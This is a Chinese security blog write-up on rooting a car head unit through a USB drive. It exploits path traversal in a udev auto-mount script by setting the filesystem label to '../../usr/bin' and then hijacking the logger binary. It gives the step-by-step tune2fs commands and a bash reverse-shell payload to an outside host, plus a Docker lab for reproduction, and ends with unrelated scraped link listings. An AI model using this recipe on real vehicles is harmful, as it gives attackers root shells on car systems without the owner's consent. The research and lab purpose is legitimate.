U盘目录穿越获取车机SHELL(内含模拟环境可上手实践)
利用 U 盘 Getshell 是不是还停留在 Badusb、病毒U盘上,这次就来看一个不一样的。前段时间在浏览 Github 时看到了一个日产车机破解项目,其中有利用 U 盘获取车机 SHELL 的骚操作。感觉挺有意思的,花了点时间找到了车机固件并复现了漏洞。顺手写了一个 Dockerfile 供大家一起玩耍。
目录穿越
目录穿越大多发生在 WEB 中,没想到竟然还能出现在硬件设备中。
车机的操作系统为 Linux,U 盘等外设热插拔由 udev 实现。udev 是 Linux 内核的设备管理器,配置文件在 /etc/udev 下 。udev 会根据设备的 UUID 和 LABEL,构造挂载点。UUID 是块设备的唯一标识符,LAEBL 是块设备的一个标签。
车机中自定义了 U 盘挂载脚本,在 udev 配置文件 /etc/udev/rules.d/local.rules
中指定 block 设备由脚本 /etc/udev/scripts/mount.sh
处理。
SUBSYSTEM=="block", ACTION=="add", KERNEL=="sd*", ENV{ID_FS_TYPE}=="?*", \ENV{DKD_PARTITION_TABLE}!="1", \ENV{DKD_PRESENTATION_HIDE}!="1", \RUN+="/etc/udev/scripts/mount.sh", RUN+="/etc/udev/scripts/trace_proxy.sh"
SUBSYSTEM=="block", ACTION=="remove", KERNEL=="sd*", ENV{ID_FS_TYPE}=="?*", RUN+="/etc/udev/scripts/mount.sh", RUN+="/etc/udev/scripts/trace_proxy.sh"
SUBSYSTEM=="block", ACTION=="change", KERNEL=="sd*", ENV{DEVTYPE}=="disk", RUN+="/etc/udev/scripts/mount.sh"
问题就出现mount.sh 脚本中,使用 ../../
可实现路径穿越,获取系统权限。
MOUNT="/bin/mount"
UMOUNT="/bin/umount"
MOUNTPT="/dev/media"
MOUNTDB="/tmp/.automount"automount() {if [ -z "${ID_FS_TYPE}" ]; thenlogger -p user.err "mount.sh/automount" "$DEVNAME has no filesystem, not mounting"returnfi# Determine the name for the mount point. First check for the# uuid, then for the label and then for a unique name.if [ -n "${ID_FS_UUID}" ]; thenmountdir=${ID_FS_UUID}elif [ -n "${ID_FS_LABEL}" ]; thenmountdir=${ID_FS_LABEL}elsemountdir="disk"while [ -d $MOUNTPT/$mountdir ]; domountdir="${mountdir}_"donefi# Create the mount point.! test -d "$MOUNTPT/$mountdir" && mkdir -p "$MOUNTPT/$mountdir"# And mount the disk or partition.if [ -n ${ID_FS_TYPE} ]thenif [ "vfat" = ${ID_FS_TYPE} ]thenIOCHARSET=",utf8=1"elif [ "ntfs" = ${ID_FS_TYPE} ]thenIOCHARSET=",nls=utf8"fifiresult=$($MOUNT -t ${ID_FS_TYPE} -o sync,ro$IOCHARSET $DEVNAME "$MOUNTPT/$mountdir" 2>&1)
现在来详细看一下自动挂载函数 automount,首先判断U盘的文件系统 IDFSTYPE,可识别就继续执行,否则就退出。接下来的一段是用来拼接构造挂载点的,首先判断设备的 UUID,然后判断设备的 LABEL,哪一个不为空就用哪一个作为设备挂载的文件名,再拼接上 /dev/media 就是形成了最终的挂载点。最后使用 mount 命令将 U盘挂载到刚才构造的这个路径上。
问题就出在挂载路径上,由于设备的 UUID 和 LABEL 都是能手动修改的。如果在 $mountdir 中引入相对路径,那就能实现路径穿越。然后通过路径穿越劫持系统中的程序,从而实现任意命令执行。UUID 中不能使用点号,所以就只能在 LABEL 上作文章了。接着往下看脚本。
h
status=$?
if [ ${status} -ne 0 ]; then
logger -p user.err "mount.sh/automount" "$MOUNT -t ${ID_FS_TYPE} -o sync,ro $DEVNAME \"$MOUNTPT/$mountdir\" failed: ${result}"
rm_dir "$MOUNTPT/$mountdir"
else
logger "mount.sh/automount" "mount [$MOUNTPT/$mountdir] with type ${ID_FS_TYPE} successful"
mkdir -p ${MOUNTDB}
echo -n "$MOUNTPT/$mountdir" > "${MOUNTDB}/$devname"
fi
U 盘挂载好之后,还会调用 logger 命令。那就骚操作就来了,将 UUID 设置为空,LABEL 设置为 ../usr/bin
就能劫持原来的 /usr/bin/
下的应用程序。logger 是一个不错的选择,在其中写入命令。U 盘自动挂载时,就会自动执行。下面来看看具体怎么利用。
漏洞利用
首先准备一个 EXT4 格式的 U 盘。
blkid 命令用于查看设备的UUID、LABEL等信息。为什么没有看到设备的 LABEL 呢? 当某个属性为空时就会隐藏。
root@kali:~/automotive#blkid /dev/sdb1
/dev/sdb1: UUID="cf01cd66-7f32-4713-996a-3af878aba827" BLOCK_SIZE="4096" TYPE="ext4"
EXT4 格式的 U 盘默认状态下,只有UUID,LABEL 为空。这两个值都可以使用 tune2fs 修改。
- 置空 UUID
root@kali:~/automotive# tune2fs -U NULL /dev/sdb1
tune2fs 1.46.2 (28-Feb-2021)
Setting the UUID on this filesystem could take some time.
Proceed anyway (or wait 5 seconds to proceed) ? (y,N) y
- 设置 LABEL
root@kali:~/automotive# tune2fs -L "../../usr/bin" /dev/sdb1
tune2fs 1.46.2 (28-Feb-2021)
UUID 和 LABEL 修改完成,使用 blkid 查看修改后的结果,准确无误。
root@kali:~/automotive# tune2fs -L "../../usr/bin" /dev/sdb1
tune2fs 1.46.2 (28-Feb-2021)
- 设置反弹 shell
手动挂载 U 盘,在 U 盘中创建一个名为 logger 的 shell 脚本,内容为反弹 shell 。一切设置好之后移除 U 盘。
root@kali:~/automotive# mount /dev/sdb1 /media/root/
root@kali:~/automotive# cd /media/root
root@kali:/media/root# cat logger
#!/bin/bash
/bin/bash -i >& /dev/tcp/192.168.7.132/4444 0>&1
root@kali:/media/root# chmod +x logger
root@kali:/media/root# cd -
root@kali:~/automotive# umount /dev/sdb1
- 将特制的 U 盘插入模拟车机
手里并没有日产的车(PS. 我与 Tesla 漏洞就相距一台 Tesla),而此时手痒怎么办。幸好我找到了固件,搭建了一个模拟环境。
下载之前制作好的[Dockerfile](https://github.com/delikely/VulnerableFiles/blob/main/Automotive/bosch headunit root/Dockerfile),然后使用docker build、docker run 搭建起车机模拟环境。
root@kali:~/automotive# wget https://raw.githubusercontent.com/delikely/VulnerableFiles/main/Automotive/bosch%20headunit%20root/Dockerfile
root@kali:~/automotive# docker build -t delikely/bosch_headunit_root:automount .
Sending build context to Docker daemon 86.02kB
Step 1/4 : FROM ubuntu:12.04---> 5b117edd0b76
Step 2/4 : WORKDIR /etc/---> Using cache---> 22a68ab4c71d
root@kali:~/automotive# docker run -itd --privileged=true _headunit_root:automount
ee7059240fcea0e24bb01ebdbde51be1198f15b452af42f101307f8684
使用上述命令创建好 Docker 后,虚拟车机的就运行起来了。现在只需要插入之前准备好的 U 盘就能拿到反弹 Shell。
注:由于劫持了 /usr/bin/ 目录,很多命令不能用了。若想使用,那就得提前准备,把原来/usr/bin 目录的文件(或相同架构的可执行文件)拷贝到 U 盘根目录。
总结
这个漏洞还挺有意思的,利用 U 盘 LABEL 目录遍历劫持 /usr/bin 执行任意命令。之前看过另外一个 Ubuntu 提权漏洞:利用软件链接提权,也让人直呼精彩。这次学到了新姿势,还搭建智能网联车漏洞的第一个模拟环境。后期会持续维护(新增)车联网漏洞模拟环境,欢迎有兴趣的小伙伴一起共建。
参考
- boschheadunitroot
- [How to change filesystem UUID (2 same UUID)?](http://2 same uuid/)
- How to get root on Ubuntu 20.04 by pretending nobody’s /home
-END-
官网:https://huoxian.cn
火线安全平台:
火线Zone:
- 官网:https://huoxian.cn
- 火线安全平台:
- 火线Zone
U盘目录穿越获取车机SHELL(内含模拟环境可上手实践)相关推荐
- java:获取本机IP,Linux环境下使用InetAddress.getLocalHost()方法获得127.0.0.1
知道InetAddress.getLocalHost()方法是可以获取本地ip的,但是在mac电脑上执行的时候,偶尔会得到127.0.0.1的输出,这样拿到本地ip很不稳定,感觉就很不靠谱了 目录 I ...
- android framework实战车机手机系统开发环境相关问题补充
android源码不建议用virtualbox进行编译,如果要也建议vmware Please ensure KVM is properly installed and usable 这个属于kvm虚 ...
- 雪佛兰-科鲁泽-车机破解[安装第三方软件]
一.确定车机类型,19款和22款科鲁泽(全版本) 19款到现在的22款全版本,安装适配的有两款车机,一款是安卓系统,一个是Linux系统 安装车机一般存在19款中低配和后续改款的中高配车机 以下版本是 ...
- python获取本机 ip地址、mac地址(物理地址)、计算机名、硬盘序列号、CPU序列号、主板序列号、bios序列号、bios uuid号
文章目录 python获取本机IP地址.mac地址(物理地址).计算机名 物理地址 计算机名.ip地址 硬盘序列号 CPU序列号 主板序列号 bios序列号 bios uuid号 python获取本机 ...
- 车载wince升级改造_想在低配车内蹦迪?改造车机还不如装个接收器,也就一顿饭钱...
不少司机在开车的时候都喜欢放点音乐来放松身心,平时在家的时候可以用手机蓝牙连接音箱听音乐,但是有些比较老的汽车就不灵了,原来这些汽车的车机不支持蓝牙,想用手机听歌还真是不方便. 其实想要升级车机,很多 ...
- 汽车电子(三)--- 车机TBOX 介绍
之前,我们在<车机娱乐系统介绍> 中介绍了智能车载娱乐系统的五个特征: 基于智能操作系统: Android, Yunos, Linux等 基本都是虚拟按键, 较少用实体按键 具备外网连接功 ...
- 汽车电子-车机TBox介绍
本文转载自:https://blog.csdn.net/ciellee/article/details/96155195 之前,我们在<车机娱乐系统介绍> 中介绍了智能车载娱乐系统的五个特 ...
- 车联网(智能车机)测试行业解决方案
智能车机系统行业解读 汽车智能车机核心系统由信息系统娱乐系统(IVI系统).导航系统.智能网联系统.安全系统四个子系统组成,为用户提供信息娱乐.导航定位.安全监测.数据交互.云服务等多样性服务的综合性 ...
- Android 7.1 车机 Android 系统 在线升级,将安装到下载到/data/目录下面
最近按项目要求,需要做一个车机Android在线升级操作,但是cache内存太小了,最后只能寄存希望在 data/文件夹下,但是data/目录在6.0之后禁止recovery读取data文件.最后的解 ...
最新文章
- 巧用CSS的 Mask 滤镜
- Kendo UI Web教程分享
- Matlab绘制小波尺度函数和小波函数
- 今天参加面试 上机题,整理一下
- Hot Door CADtools (基础篇)
- 含有无关项的序列检测
- 使用nodejs和art-template模板引擎实现apache的部分功能
- 蓝桥杯第八届省赛JAVA真题----Excel地址
- 在 F5 LTM 上配置数据包过滤
- android的surfaceflinger原理讲解
- ScheduledThreadPoolExecutor部分源码学习
- Silverlight5.0正式发布附下载地址
- 2、【易混淆概念集】-前三章 2 净现值 NPV 内部报酬率 IRR 投资回报率 ROI
- The Operation couldn't be completed.(LaunchServicesError error 0.) 的解决方法
- cocos 场景制作流程
- jsp怎么设置页面背景
- Win10删除文件夹
- 数字化时代,基于令牌的身份验证是如何工作?
- 怎么调用接口发国际验证码和通知短信?
- Mysql引擎的知识
热门文章
- git+github
- 微型计算机控制系统设计方法,第3章 机电一体化中微型计算机控制系统及接口设计...
- 容量可动态扩展的LinkedBlockingQueue
- springBoot 2.x过滤器--监听器--拦截器
- ArcEngine Domain 总结
- android获取ro._抖音数据采集教程,Android群控黑盒调用,Sekiro使用手册
- 微信小程序开发的三种模式
- MavLink通信协议 C++应用详细教程
- rhino 调用 java_rhino-java中调用javascript
- Qt 字符串的操作,转换成 int、16进制